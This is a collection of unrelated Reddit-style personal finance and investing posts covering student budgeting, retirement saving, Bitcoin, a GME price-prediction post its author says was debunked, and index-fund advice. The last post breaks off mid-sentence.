fee. To get the education I wanted, I had to live well above my means, and it was just driving me into the dirt financially. + +But now I’m a sophomore, so I have escaped!!! I can do what I want with my money, such as actually implement the advice of this subreddit. I feel so free!! It’s a success story ladies and gentleman!! + +Now that I shop at Aldi’s, my food is better quality, healthier, and SO much cheaper than the mass produced nonsense they served us at school. Like I said, $10/meal on the meal plan to $2/meal on my own. + +I also moved off campus into a WHOLE HOUSE that I’m sharing with three other girls for hundreds of dollars cheaper than that tiny dorm. And the best part is, it’s so cheap that I can cover rent & utilities with just 20 hrs of work a week! + +Lastly, I worked as a Sonic carhop all summer (did you know they only make $4 an hour? Please give them your spare change!! Especially in super hot areas) and saved all my tips for an $800 used moped. 70mpg? Sign me up. + +In conclusion, shout out to my dad for raising me on store brand food, home cooked meals, and savings over convenience. Now I’ve got manageable food, shelter, and transportation, and I actually feel in control... and extremely lucky. +I think this sentence in the Wikipedia intro of Bitcoin is irrelevant. The USD as well as been used in illegal online money laundering, but I don't see any mention on the USD wikipedia article... + +[http://en.wikipedia.org/wiki/Bitcoin](http://en.wikipedia.org/wiki/Bitcoin) + + +I was thinking about writing this in the Talk Page. Someone could help with phrasing ? + + + +**Edit :** + +I was thinking about writing this on the Talk Page of the article. Can someone help me with phrasing ? + +----- + +"Bitcoins have been associated with illegal online activity such as money laundering." + +Any currency has been associated with illegal online activities, including money laundering. As this information can't be found in the wikipedia articles of the USD nor any other currency than Bitcoin, it should be irrelevant to only mention it in this article. + +At least, we could add : "However, all fiat currencies have been associated with illegal online activities and this had no reported negative impact on their value/trust." + + +----- + +**Edit 2** + +It has been "Moved to keep factually merited information about illegal activities to the respective section, #Criminal_activities.". It now reads : + +"Bitcoins have been associated with illegal activities such as money laundering.[136] Though the degree of anonymity provided by Bitcoin has raised concerns about criminal or fraudulent activities such as money laundering, a late-2013 academic study noted the "unintuitive property" that while Bitcoin ownership is implicitly anonymous, the flow of Bitcoins is globally visible in the form of public ledgers that record transactions, the study asserting that even the most motivated criminal users engage in distinct "idioms of use" that would aid law enforcement in identifying them, thus making large-volume money laundering impractical.[137]" + +**I don't know who wrote this, but it sounds good to me ;-)** + + +So basically the economy is not doing too well, and I heard that many companies froze their graduate hiring. + +How has it affected your graduate program search? I know some people just chose to do an extra honour's year. + +Thankfully I had my previous internship converted into a graduate position. Of course, they could still get rid of me, but for the time being I'm holding out. +Good morning, + +I'm in the dreaded middle portion of saving for FI and I've been reading this sub for a while so I feel pretty comfortable with what I'm doing, but I wanted to share my experiences (a) to hopefully help others at different phases and (b) to see if there are any glaring errors in my philosophy. I've decided to break it up by life event/age to show decision points with pros and cons. + + +My current breakdown is as follows: + + +Age: 31 + + +Salary: ~90-100k/yr + + +Savings (cash): 60k + + +TSP (401k): 123k (~4% match from job) + + +Roth IRA: 56k + + +Mutual Fund: 7k + + +Wife's 401k: 30k + + +Wife's IRA: 30k + + +Wife's Salary: 60k and 10k post baby + + +We have a house. Paid 360, put 20% down. Currently owe 280k @3.75% 30 year mortgage. + + +Total expenses are roughly 4k/month (incl. mortgage). + + + +Timeline: + + + +**High School** + +My family is solidly middle class we were never "without" but we never had expensive things and + +lived fairly modestly. I did well in school and got good grades. Worked at a bagel shop in the + +summers. I got into a prestigious engineering school and got good scholarships, but would still + +need loans. + +**College** + +Majored in mechanical engineering (love it, born to do it). Went to prestigious engineering school + +for 1 year. Hated it. Went back to a state school and got free tuition. Worked a lot. At one point + +I had 5 jobs working mornings, afternoons, evenings, nights, weekends. I paid all my + +living/food/car/book expenses on my own. Got an internship which led to my first job. Didn't really + +"save" money, but I had to be thrifty because I basically lived paycheck to paycheck. + +*Pros:* + +- Probably good to go to state school since I wasn't that motivated. + +- Working helped me get out of school with no debt. + +- Majoring in "STEM" was a good move although it wasn't the craze it is now (graduated in 2009). + +- My side jobs were good work experience and helped me get my first job. + +*Cons:* + +- All the work impacted my grades and my mental health. + +- Became very stressed and depressed. + +- Wish I studied more and made more friends. + + +**Early Career/Relationship** + + +Started working right during the recession and felt lucky to have a job (soon after getting hired I + +watched half my staff get laid off). I broke up with a girl who had a lot of student loans (not the + +only reason, but it was in the background). This was when I started to become financially aware, + +thinking long-term. Realized I liked another girl in part because we had similar financial views. I + +switched jobs from private sector to Gov (close by). Took a small pay cut, but got a large raise 6 + +months later. I started my Roth IRA (max) and started matching 401k. After a few years I realized + +if I put the yearly max in the 401k, soon the ROI would make more than I could possibly put in, so + +I started maxing my 401k. I started an EMPLOYER PAID Master's degree (Mech Eng) part time while I + +was working. + +*Pros:* + +- The Government is a very good job: exciting, decent pay, pension, tsp, good health benefits. + +- I'm glad I met girl #2 because she is now my wife and we are into saving money together(<-- this is a huge pro, something to seriously consider). + +*Cons:* + +- Sometimes I wish I had traveled more or gotten a job farther from home. + +- The MS was nice, but it was long and a lot of work to do part time. I missed out on a lot of socialization and life exploration during that time and the MS didn't really help me at work. + + +**Current** + + +I got married, bought a house, and had kid. The house is a little bigger/more expensive than I + +really wanted, but there really wasn't a lot on the market at the time. We didn't max out the + +mortgage, just based it on what we could afford and still save money with just my income. Our + +strategy is to have this be our "forever home" so as not to incur real estate agent/selling/buying + +fees and the hassle of moving. Our strategy was to put 20% down and still have an "emergency fund" + +enough to buy a new car or do major repairs. Also decided to do 30 year vice 15 year mortgage so I + +could put the max in my 401k/TSP. I make my own lunch almost every day and we buy used cars in cash + +(We have an 07 and just bought a 2010). I do a lot of the home maintenance on my own. We don't + +really budget, but we have a pretty good hold on how much we spend.A few years ago I really dug + +into understanding taxes and one of our strategies is to reduce them (mostly with TSP contributions + +to stay under 25% tax bracket, house deduction, and decreased withholding to have more money in my paycheck and less tax return). + +My wife started working only a few days a month after we had our kid. We live close to my parents + +for free childcare. We didn't want to do daycare because after figuring out the cost and taxes, + +etc. my wife would basically be working to pay for it. + +We don't really have a college savings strategy except to just save for our own retirements. I'm want to convince my children to go to our state school. + +I might not RE, but at this point I feel confident in our financial position. If I stick with the government until I'm 57 I will get around 30% of my pay for a pension + social security + TSP + Roth. We may even end up in the situation where we're making too much money in retirement! I plan to do this math soon... + +If anyone is wondering why we have a ton of cash it is because (a) we have a lot of house repairs coming up (paint, new roof) and (b) I may use some of it to take some time off or start a business. + +*Pros:* + +- Being married to someone with similar financial values is good. + +- Kid isn't too expensive (not counting missed earnings from wife) and having a kid is awesome. In terms of FI we got a lot of hand-me-downs and we buy used stuff so we haven't spent much and you get a pretty sizeable tax break. + +- The house is nice. We never feel like we need to take a vacation and it's probably worth about 30k more than we bought it for a few years ago. + +- Majoring in Engineering and being "hands on" have saved me tens of thousands in home maintenance. + +- The Emergency fund came in handy 1 month after buying the house we had a tragedy and had to spend money. + +- Starting early with the ROTH and TSP were good. Last year, my TSP made more than I put in for the first time (!!!). This was ~5 years in the making. + +- The mortgage interest tax deduction for us is decent. + +- I like my job. Supposedly you make less working for the government, but I don't think I'd make much more. Also, my week is 40 hrs and the job is stable. + +*Cons:* + +- A house is a lot of work and expensive and at this point is the thing that will hold us back from RE. It would be much more expensive if I didn't do a lot of the work and repairs myself. Also, I genuinely enjoy designing, building, and fixing things and I feel that these skills build my professional credentials. If you have other interests or prefer to not do home maintenance on the weekends you'll have to pay someone to do these things. Seriously, in terms of RE it might be better to rent. I hate landlords though, so... + +- The mortgage interest tax deduction for us is decent, but it's not huge (last year we were about 4k over the standard deduction). It gets better if (a) you are in a high tax bracket and (b) you have a bigger mortgage. + +- Jury is still out on 15 yr mortgage vs. 30 yr and invest in TSP obviously my bet is that investment is a better choice, but I haven't actually done the math. + +Lots of edits: Formatting, age...Also should mention we had a very inexpensive wedding with about 27 people at my wife's parents' house which was a good savings, but still allowed us to have a celebration. + + +http://www.cnbc.com/2016/06/06/the-truth-about-retiring-on-time.html + +That's a hellish chart in the middle of the article there. Looks like we're up from 16% to 22%. Somehow Japan and Ireland are the only countries headed the right direction. + +I had a big wakeup call when dad died before he could retire. That and a friend turned me on to MMM which led me here. I have a lot of things I intend on doing in life and very few of them involve me being cooped up behind this desk. +Tinfoil hat time. Sites like [cryptograffiti.info](http://www.cryptograffiti.info) and [proofofexistence.com](https://proofofexistence.com) allow anyone to imbed data (encrypted or not) on the blockchain. That data is provably timestamped and will remain on the blockchain as long as there is one. Consider this scenario: + +> An encrypted piece of blockchain data from 2014 is discovered to perfectly match the hash of the 2016 election results. + +That's just one example. It could be weather data, stock data, or any unpredictable info. If time travel is possible, the blockchain seems like the only way to prove it in a way that would be indisputable. If nothing else, this makes for a cool sci-fi plot. + +**Has there been a SETI-like project to search for information on the blockchain that came from the future?** + +Edit: Glad you guys are enjoying the post. It's worth noting that this could be done with only the ability to send information back in time, which may be all that is possible. + +This harkens back to the theory that maybe we need to construct a receiver before some future scientist can transmit information back in time. Also consider that any unencrypted info transmitted back in time could simply be claimed to be a self-fulfilling prophecy. If it's a hash of future information that we then compare to an event once it happens, it would be proof of (somewhat limited) time travel. This is to say that past-altering time travel could be impossible but still allow for transmission of information into the future and very limited communication with the past, thus avoiding paradoxes. Plenty of counter-arguments but I'm starting to think it may be worth investigating. +Edit: this methoed has been Debunked and is for now false. The conclution to My teori was that a spike would occour today the 6/10. Sadly it did not. For now atleast🚀🚀 + +# Introduction + +For the longest time I have been looking into historic data regarding the lowest price and the highest price for each trading day the past couple of months. I can confirm with this possible DD? (Correct me if not.) that the tables are indeed turning into our favor sooner or later. + +In this analysis I will focus on why the data is confirming a breakthrough in upward momentum soon. Judging by the graph it is easy to see that the price has seen forced negative price action by HF’s. My data is showing that they have limited recourses to press the price down, and its very telling by comparing the lowest price of the day, to the highest price of the day by using exponential regression. + +To put it short. The floor is increasing, and nothing had worked for the hedge funds (Whoops Sorry not sorry Ken). + +&#x200B; + +# Disclaimer: + +1. It is likely that I make a lot of spelling errors in this post. Feel free to correct me. Feedback is very much appreciated. +2. I am not a professional data analyst, nor am I claiming my points as objective truth, I’m simply an ape that like the stock. +3. It is entirely possible that it turns out to speculation. It would not surprise me, since GME have a record to be unpredictable. But it is fun to speculate, nonetheless. I therefor ancourage you to take this post with a grain of salt. Use this as you wish. +4. Keep in mind that I’m a Europoor. I use a European version of excel, that’s why you see “,”s where “.”s should be. +5. I’m not that good at exceptional regression. + +&#x200B; + +# Goal: + +\- I wanted to compare the lowest price to the highest price from each day since feb 19th to see when the breakthrough is going to happen. + +\- I’m using exponential regression and comparing when the breakthrough is going to happened. + +\- The breakthrough could maybe indicate that the hedge funds are drying up, and cant keep the price down anymore (I want to hear what you guys think as well, so we all can become smarter) + +&#x200B; + +# Data collection: + +I used data from [Yahoo finance, GME history](https://finance.yahoo.com/quote/GME/history/) + +The reason I picked Feb. 19th as a start date is because it is the lowest the price since the spike in January (38.5$). I do not want to use pre-January data because it would not give a clear picture of the price suppression. + +Since February 19th there has been 70 trade days (yes that long ago). As seen on the data and by looking at the graph it is easy to see that its not possible to push the price further down since then. + +&#x200B; + +# Outcast of the data: + +[I manually typed the numbers in. But I checked it twice and it seems like there aren’t any typing errors. ](https://preview.redd.it/44oo4fqzgg271.png?width=740&format=png&auto=webp&s=4c193dd9b6df07d9b66bae8d11ba8d0bcc3d6821) + +&#x200B; + +**Data input 1: Highest price for each day since Feb. 19th** + +[It is a bit hard to see, but the floor is slowly rising exponentially, showing by the dotted line. ](https://preview.redd.it/ndacoud3hg271.png?width=2613&format=png&auto=webp&s=a7e5f212f9c22aec7cebff2ffee0e375eea45884) + +**Important note:** R\^2 (a way to tell how reliable the numbers are) is only 0.2, i belive it is low because it indicate a organic upward momentum. Normal stocks are unprededible in their nature to some estenct. By looking into forced negative pressure it shows thats in not organic nor natural, therefor the R\^2 regarding highest price for each day is closer to 1. + +&#x200B; + +**Data input 2: Lowest price for each day since Feb. 19th** + +https://preview.redd.it/w5zsp7h5hg271.png?width=2612&format=png&auto=webp&s=03bd2738196f6fd390a83dcfe90dc6fc4a6bbc04 + +As seen, it is also rising at a steady pace, by a factor of 0.0038x more than the highest price for the day. Therefor the floor is getting closer and closer to the highest price. It indicates that we are keeping up regarding the forced negative price action. + +# Comparing data (Speculatory breakthrough date): + +&#x200B; + +* “Highest” = From Highest price on x day +* “Lowest” = From Lowest price on x day + +[Datasets 1 and 2 + breakthough point](https://preview.redd.it/kuvl26ldig271.png?width=896&format=png&auto=webp&s=ad8e2ed65b9995cb78faacb7a1a3114dfdf722cc) + +&#x200B; + +[x = Day 78 y = Price](https://preview.redd.it/d29xspffhg271.png?width=543&format=png&auto=webp&s=4920baa7c6151b7b9ad3d4c5c0ddffecee54d535) + +&#x200B; + +* **Breakthrough** = (78.28, 214.72) + +As seen on the graph above it shows that the highest price will cross the lowest price on day **x78**, at price 214$. It indicate that the Hedge funds are drying up and cannot keep doing what they do. + +&#x200B; + +# Conclusion: + +**June the 10th is the day that the breakthrough is going to happen (accorting to exponential regression, dont take it as truth).** It is day 78x as seen on the chart. The hedge funds do not have any more recourses to keep the price down and therefor the tables are turning into our favor. Its likely *(in my opinion)* that the hedge funds will surrender and let the kraken lose. +**_Edit: Thanks for the gold, anon redditor, and thanks everyone who commented and contributed, I was surprised to log in and see this thing had shot to the top of r/bitcoin. Please continue to write your legislators about this and similar legislation, and of course, keep using bitcoin._** + +The whole text of their proposal: +https://www.congress.gov/bill/115th-congress/senate-bill/1241/text + +If in the U.S.: Write your representatives to oppose S.1241: +https://democracy.io/ + +Write to Administration to demand a veto of S.1241 or anything like it if it were ever to reach the White House for signature or veto: +https://www.whitehouse.gov/contact + +An opposition letter to S.1241 has been developed by the Bitcoin Foundation, but I don't think it goes far enough. I think any organizational opposition letter (e.g. from EFF, Bitcoin Foundation, or other org) should call for total and absolute death by fire of S.1241 or anything like it. (See second season of Stranger Things if you have any question about what I mean about death by fire.) https://bitcoinfoundation.org/redraft-%c2%a71241-combating-money-laundering-act-2017/ + +(The following is my recent letter over the weekend sent to the U.S. Administration regarding S.1241, requesting that a position be taken on the bill to announce that a veto would be provided if the legislation were to be advanced. Please feel free to copy and paste from it or develop your own.) + +-------------------------------------- + +This is regarding S.1241 - the so-called "Combating Money Laundering, Terrorist Financing, and Counterfeiting Act of 2017." + +This proposal is a sick joke. Its proponents have given a fancy +name to something that simply put, is designed to attack the American worker and would do absolutely zero in relation to what the title implies. + +The bill would brings cryptocurrencies under the umbrella of civil forfeiture. It also would require the DHS to provide, within 18 months of ratification, a report on strategies to detect cryptocurrencies at border crossings, which would be impossible since there is no technology that can do that. + + I can put a bitcoin on a paper wallet or memorize seed words in my brain that represent a whole wallet and cross borders physically or virtually, then later reproducing the wallet at will. This law would attempt to prohibit me from exercising my memory to access my resources across borders, a ridiculous approach to finance. Finance is of course cross-border and private. + +Section 13 of the proposed Act is just one particularly vicious aspect of it, constituting nothing less than an attack upon the American worker. + +Sec. 13 of S.1241 seeks to define anyone issuing, redeeming, or cashing bitcoin as a financial institution, requiring them to comply with the Bank Secrecy Act, 31 U.S.C. §5312 and requiring INDIVIDUALS AND SMALL BUSINESSES to adopt the same formal reporting procedures as financial institutions for +the purpose of reporting suspicious financial transactions. + + In effect this Act would treat INDIVIDUALS as though they were BANKS and impose the same financial licensing and reporting obligations on them. + +Please communicate to those who are pushing S.1241 forward that it will get nothing but a Veto. + +Thank you. +I'm imagining it happening like the infamous and recent, "Josh fight" and how now that it's over, everyone and their deranged uncle Jeff is trying to replicate it for one reason or another. + +I think the term, and just the overall situation in general regarding a short squeeze, will be overused and/or called out much more frequently from now on. As those that missed out are desperate for another one, or those that just think it will happen again because they just don't understand how rare of circumstances they require. + +I think we will be seeing a lot of posts about, "potential squeeze this" and "potential squeeze that" in the next coming weeks/months. + +Edit: spelling and grammar. + +Edit II: THANK YOU! 2 Y/O ACCOUNT AND THIS IS MY FIRST AWARD EVER!! +Hello! + +I’m a 26F, currently making $55,000 and will most likely make 60k by end of the year. I’ve been living with my parents since the pandemic and have 25k in savings, $0 in debt, and about 15k in my 401k. + +I just signed a lease to a new place and am planning on moving back to chicago next month. + +My dad thinks I’m making a big mistake because he argues I should be spending the next 6 months (at least) saving more and staying at home because I’ll never have this opportunity again. + +At first I was chalking up his arguments to him just wanting me to stay here forever but now I’m getting cold feet. My financial literacy is admittedly bad and I have no firm understanding on what’s considered “good” savings for someone in my situation. + +I originally decided to make the move because I was feeling stuck staying at home with my parents—even though I love them. I just miss my old life in Chicago and feel like I am definitely leading with my heart and not my head on this one. + +Do you think my dad is right? Am I making a stupid decision that I’ll probably regret when I’m older? + + +**Edit: thanks for all the awesome advice! Since the lease is already signed, I guess the horse is already out of the barn. I’ll just have to make sure I’ve got a solid budget set up before moving! + +Also, just wanted to clarify that I have lived on my own for most of my 20s and only moved back in with my parents last May when the pandemic hit. So I’ve been living back at home for a year now!** +I’ve been buying more and more almost every day for the past ~2 weeks. + +Position: +$641,000 in shares (23,600) + $72,000 in calls +Total position: $713,000 + +Bought 3800 more shares on Thursday for $25.91/share ($98,439) + +About $337,000 of this is on margin. Cant buy calls on margin :( + +🚀🚀🚀🚀🚀🚀🚀🚀🚀 + +Proof of positions: +https://youtu.be/8B381O9FCUg + +P.S. fuck shitron, fuck 🌈🐻 🚀🚀🚀🚀🚀🚀 +Hi guys, + +In the last few years we've seen volatility like we've never seen before. Rapid rises up like never before, and sharp dips down. It seems that with recessions these days the fed is quick to step in and cut rates super low and keep the machine going. With that however seems to come a sharp hike up as we're seeing with sharp drops down in turn. The market as such is like extremely wave like. This is more of an abstract discussion that I wanted to have, but my question is what comes after the era of great volatility? Like a wave, will we see the wave finally go flat? What would that look like and entail? + +Thanks. +Many of you have dontated to the gofundme for BluPrince. I have to tell all of you a story. One year ago almost to the day, our boy Blu, who is a very good old friend of mine, convinced me to join this community and put some of my meager savings into gme. He convinced me. This was right when he wrote the Infinity Pool DD. I have never invested in stocks, I am a hard anti-banking institution type and he knew that and knew that I hated the way fincance works in general and he knew I would absolutely dig what you all are doing. And so I got in. And I held. And I waited. And I checked in with our boy now and again to talk about all things life. + +Finding out about his passing was very hard. I have lost people, and as you know he was before his time, and it hit me pretty damn hard. I was racked with thoughts of his family and the times that I selfishly would not get to spend in his company for the duration of this trip on Earth. + +It sucks. This man you knew as BluPrince was truly a real one. + +I looked at his gofundme today and I melted into a puddle of my own happy tears as I realized that his daughter was looking good. It calmed an anxiety that had been eating at me for 48 hours. + +&#x200B; + +So... thank you, fellow Ape. Know that your kindness and thoughfulness is what he told me was the reason I needed to join, and he was right. And over the last year I have had a silly thought time and again, "maybe I should close out". and you all know what decision I have arrived at now. + +&#x200B; + +Hold that shit. For our boy Blu. His name was Justin Horn and he was a Titan. I am here to tell all of you that that was the best money you could have spent. You came through for that man and I am eternally grateful to all of you. Regardless of how this all turns out. + +&#x200B; + +So thank you, my fellow Apes. You showed me warmth this week I was not expecting. Take Maia to the moon, my apes. Thank you, thank you, thank you. +Chart from Morgan Stanley: [https://i.imgur.com/mH86Ytn.jpg](https://i.imgur.com/mH86Ytn.jpg) + +More info on NBER's business cycle dating procedure: [https://www.nber.org/cycles/recessions\_faq.html](https://www.nber.org/cycles/recessions_faq.html) + +Edit: Just to clarify, the NBER announces the recession by identifying the peak month (i.e. the end of the previous expansion and the start of the recession). This occurs several months after that peak month. + +For example, the NBER officially [called](https://www.reuters.com/article/us-usa-economy-recession/recession-started-in-december-2007-panel-idUSTRE4B05YX20081201) the previous recession in December 2008, by identifying December 2007 as the peak month. Just like in most previous recessions, the time of their announcement was a pretty good time to buy. + +Edit2: As /u/Investingbandit says below, you can sign up for the announcement here: [https://www.nber.org/business-cycle-announce.html](https://www.nber.org/business-cycle-announce.html) +Hey dudes. So I (27) want to get finance or a load for a Ute. Located in Melbourne I have an ABN, looking at something under $15000. Currently hiring a Ute from Bunnings and the expenses are killing me. My credit score is poor as I’ve applied for multiple loans and generally have been money poor my life. Make about $1000-1500 a week as a self employed gardener. Any and all advice would be helpful regarding dealerships, loans etc +Fanks!!! + +* Which bank do you recommend for savings account or fixed deposits? +* How is your experience with wealth management services? Discuss your experience with Citigold/CitiPriority, Kotak Privy League, db WealthPro, Axis Burgundy, ICICI Bank Wealth Management etc. +* What bank offers the best foreign exchange rates? +* Discuss the quality of the bank's mobile apps and the services they offer. +* How are the lending practices at your bank? Did your housing loan get approved on time? Were you required to purchase additional products (like insurance) to avail a loan? + +You can ask for a general review of a particular product or service that you are researching - "Is bank X good? Is it recommended for basic services no-frills accounts?", but please avoid asking for personal advice. The discussion is for consumption by a broader audience. For advice regarding your personal situation (like "I am Sharmaji ka beta, and my family is pressurising me to take a home loan, what would you suggest?"), the bi-weekly advice thread is recommended. Personal advice queries and comments will be removed to ensure that older threads provide sufficient historical reviews on products and services. + +Reviews posted here can be relied upon by newcomers to evaluate customer experience. Please confine the thread only to reviews or requests for reviews of products and services. + +Previous [Links](https://www.reddit.com/r/IndiaInvestments/search?q=flair_name%3A%22Reviews%22%20Reviews%20of%20banking%20services%20and%20products&restrict_sr=1&sort=new) +* No relaxation in the formula or amount +* Companies have to pay 10% by end of 2020 +* Centre had asked for 20 years time +* The court decided on 10 years +* Another big question - dues of insolvent companies - left to NCLAT to decide + +One source: [https://www.livemint.com/companies/news/voda-idea-will-need-to-cough-up-over-rs-7-800-crore-a-year-in-agr-instalments-11598943206374.html](https://www.livemint.com/companies/news/voda-idea-will-need-to-cough-up-over-rs-7-800-crore-a-year-in-agr-instalments-11598943206374.html) +Disclaimer- I am invested in MFs- that is my primary instrument. +Experimenting with Equity atm. + +Websites like - Market mojo , Tickertape have an indicator for intrinsic value / valuation as fair, expensive,quality - so i was wondering is there a way for a retail investor to gauge a stock as expensive or not expensive? How do you decide ? + +Also what is the deal with P/E ? have heard conflicting views on it. + +Edit: Basically i want to know what are your Heuristics, tricks, rule of thumb, behavior checklist etc +UPI is so ubiquitous because it is almost free with almost negligible charges (if any). If these are linked with credit cards, will the customer paying through credit card incur the charges? + +Merchants will be unwilling to foot 2% MDR each time, at-least the small ones will not accept the form of payment. + +Platforms can't absorb the costs, as the costs will pile-up. That's the reason we see 2% commission fees when adding money to wallet through CC. + +The possible solution can be the UPI app doing the same thing for the payments, saving account free, Credit Card +2%. + +&#x200B; + +What are your thoughts? How can it be made seamless plus far-reaching? +Am new to stocks and use zerodha kite. + +Recently someone told me that you can't sell stocks that you've bought on the very next day and have to wait minimum 2 days to sell. Is it true ? Some websites state that you can, some say you can't. +Zerodha kite users please tell me your experience and advice regarding this. +Thanks. +I'm looking for a European broker that is zero commission that lets EU citizens trade US options without any fees. I have taken a look at SAXO but they have high fees. Also looked at DeGiro but they didn't have the US options that i want. I am now searching for another. What 0% commission broker do you fellow europeans use for trading US options? +We occasionally make megathreads on important news. We will be removing other posts on this topic to help clear up the frontpage of r/CryptoCurrency. You may also want to check out the [daily discussion for 2020-11-30](https://www.reddit.com/r/CryptoCurrency/comments/k3kp5t/daily_discussion_november_30_2020_gmt0/). + +Want to chat with people? [Join our Discord](https://discord.gg/8T7aqnZ). + +--- + +Sources/articles: + +["Bitcoin Price Sets New Record High Above $19,783" - CoinDesk](https://www.coindesk.com/bitcoin-price-reaches-record-high) + +["Bitcoin Price Hits All-Time High of $19,786, Topping 2017 Record" - The Wall Street Journal](https://www.wsj.com/articles/bitcoin-hits-all-time-high-of-19-786-topping-record-from-december-2017-11606750573) + +["Bitcoin hits an all-time high of just under $20,000" - CNN](https://www.cnn.com/2020/11/30/investing/bitcoin-prices-record-high/index.html) + +["Bitcoin Rallies Above $19,000 After Biggest Rout Since Pandemic" - Bloomberg](https://www.bloomberg.com/news/articles/2020-11-30/bitcoin-rallies-toward-19-000-after-biggest-rout-since-pandemic) + +["Bitcoin price hits all-time high of almost $20,000" - The Guardian](https://www.theguardian.com/technology/2020/nov/30/bitcoin-price-hits-all-time-high-of-almost-20000) + +["Bitcoin price hits $19K as bulls show no fear of record futures gap" - CoinTelegraph](https://cointelegraph.com/news/bitcoin-price-hits-19k-as-bulls-show-no-fear-of-record-futures-gap) + +["Bitcoin’s Price Breaks All-Time High: Here’s Why it Happened" - Decrypt](https://decrypt.co/49508/bitcoins-price-breaks-all-time-high-heres-why) + +["Bitcoin Crushes Previous All-Time Price Highs Surpassing 2017's Bull Run" - Bitcoin.com](https://news.bitcoin.com/bitcoin-crushes-previous-all-time-price-highs-surpassing-2017s-bull-run/) + +["Bitcoin hits new all-time high of $19,857, extends year-to-date return to 177%" - Business Insider](https://markets.businessinsider.com/currencies/news/bitcoin-hits-new-record-high-after-trading-above-19700-2020-11-1029849416) + +["Bitcoin Just Broke The All-Time High Recorded In December 2017" - CryptoPotato](https://cryptopotato.com/bitcoin-just-broke-the-all-time-high-recorded-in-december-2017/) + +Please comment below if you want to add an additional link. +According to BofA's monthly Global Fund Manager Survey published last Tuesday, "higher inflation is now the consensus." And furthermore "inflation is now again the biggest risk for markets," as initially identified by 35% of the survey's 194 respondents who manage a combined $592 billion worth of assets. But if investors are broadly concerned about inflation, it suggests stock prices are likely already reflecting these risks and investors have discounted, or priced in, inflation risk into the markets. While it may not be a perfect analog, it's worth considering what happened during the early stages of the coronavirus pandemic. + +On March 17, 2020, BofA's Global Fund Manager Survey identified "Coronavirus" as its biggest tail risk, and it remained on the top fo the list for the next 10 months as data consistently and persistently reflected an economy in a state of emergency. But the S&P 500 prices bottomed on March 23, 2020. + +In other words, the market had priced in the coronavirus recession and discounted the pandemic's worst financial impacts by mid-March, but this risk still remained the consensus worry among investors for another year. + +The threat of inflation is the most known risk in the markets right now. And so investors should consider the likelihood that the downside of inflation has been priced in. + +"Unlike recent cycles, we acknowledge that inflation tail-risk is higher and that inflation data could get hotter before normalizing," JPMorgan's Dubravko Lakos-Bujas said. "This outcome, at the same time, is getting increasingly priced-in as essentially every investor we have spoken to in recent weeks is well aware of this backdrop." + +According to Google, search interest in "inflation" is at an all-time high. The University of Michigan's recent survey of consumers revealed sentiment got dinged in May due to unusually elevated concerns about inflation in the years to come. + +On the corporate side, a record number of S&P 500 (^GSPC) companies have discussed "inflation" on earnings calls as executives just can't stop talking about higher costs. + +Whether or not inflation actually becomes a major problem for the economy will only be known in hindsight. And despite folks arguing that recent upticks in price represent "transitory" concerns and "reopening quirks," this debate is likely to rage on for months especially as high-profile skeptics sound alarms. + +https://finance.yahoo.com/news/inflation-risk-consensus-priced-in-markets-morning-brief-095840283.html + + +Director of AT & T just bought 2,5 mil worth of shares. Mostly there are many reason for insider to sell but only one reason to buy. + +If we look at T performance history it mainly go sideways with periods of underperforming and outperforming which looks to me almost like cyclical stock. Can management changes lead to T outperforming time ? + +Personally i would not hold T stock forever but rather consider it as ,, longer term trade,,. By valuation metrics and analyst price target of 30.5 dollars it can look interesting. Also there is nice dividend which will be cut in 2022 i think it is already priced in as this is no news. + +I have something like 2 percent of my portfolio in AT & T and i would like to hear your opinion. +Key is holding long term. Nice to see so many new people investing (like me). Read this article, invest wisely in good companies, do your DD, or pick a good ETF and hold. + +[Bob only invested at the market peaks](https://awealthofcommonsense.com/2014/02/worlds-worst-market-timer/) +It seems that every economic news website will post articles about "staying away" from falling stocks citing a "shift away from growth stocks", but then as they go up again post articles about how, nevermind, Wall Street loves growth stocks, it's a great buy. Like there's no actual content. + +Or have 3 headlines about the IMPENDING DOOM from the job report Friday and how a recession is BOUND to happen, and then post an article Friday how we have the lowest employment ever and that's why the stocks rallied today. + +What news sites have ACTUAL content, analysis, informed predictions about our market? It seems even bigger sites like WSJ and Bloomberg are becoming just garbage clickbait content. +And by survivors I mean people who held through the entirety of the last bear run and were rewarded for it once the bull came with amazing gains. + +I'm mostly wondering because I'd like to know if those telling us to be strong and hold until the next bull comes actually went through any bears or if theyre just repeating what everyone else says because it's conventional wisdom. + +Also because I figure if I reach the next bull and I'm rewarded for it then I might not spend much more time on this sub, but that's just me. + +I'd be curious to hear from any actual survivors. + +>The real question is, why do we recommend index funds to so many people here, and then, why do we recommend Vanguard's in particular? + +>In order to have a good shot at a secure, reasonably well funded retirement, most of us will need to have some portfolio of stocks (and bonds, but let's just talk about stocks for now; the same arguments I'm going to present for stocks apply to bonds). So how do we get those stocks? + +>You could pick them. That's what people did back in the day and that's what some people do now. There are various stock picking theories, and I won't go into what they are. If you're into that, great; I'm not going to discourage you from doing what you believe is the best way to achieve your financial goals. And if you beat the market, even better. But very few people will do so, and those that do will spend a great deal of time doing it (as will many that don't). + +>If you aren't picking stocks, you still need to have some. It's just that your best bet at that point is some sort of mutual fund (or equivalent, like an ETF, which some people seem to view as a different investment entirely, when in reality it isn't significantly different from a mutual fund. In fact, at Vanguard, the ETFs are a share class of the mutual fund). You could try to pick mutual funds that are going to beat the market within your desired asset allocation -- but given how few repeatedly do so, we're back to the same problem as picking stocks in the first place. You could find a financial advisor who will do this for you, but that selection process has the same problem. To top it off, there's all sorts of fees that are certain to eat into your total return. The odds are against you if your goal is to pick a mutual fund that will beat an index fund in terms of the return that you see (and ultimately, that's the number that matters). + +>Which brings us to the idea that most people here aren't going to beat the market. For the vast majority of what I'll call casual investors - people who want to set their allocation, contribute methodically, and not think about it more than a few hours a year - index funds (and the asset allocation wrappers - life style and target date funds - that use them, too) really are the key. + +>And since there isn't much to index funds to compare across companies, costs become the key. (I'll point out here that if you want to do stock trading, Vanguard probably isn't the right brokerage for you, although they do have some actively managed mutual funds beyond allocation ones. And once you have over a half of a million dollars in assets there, you can make very discounted trades of stocks should you be so inclined - I think it drops to like $2/trade, and at $1 million in assets, you get some number of free stock trades per year too) + +>So, fees. Vanguard's fees are among the lowest in the business. None of their funds charge a sales load. The expense ratios for their lowest investment minimum share class - "investor" shares - are among the lowest in the industry. And when your investment in a given index fund gets to $10,000 - a pittance in the grand scheme of things - the expense ratio drops even further as you qualify for Admiral shares (which your investor shares will get promoted to when you hit this mark). + +>If you're looking to diversify the portion of your stock portfolio that you want to be in domestic (U.S. company) stock, you can hardly go wrong with a total 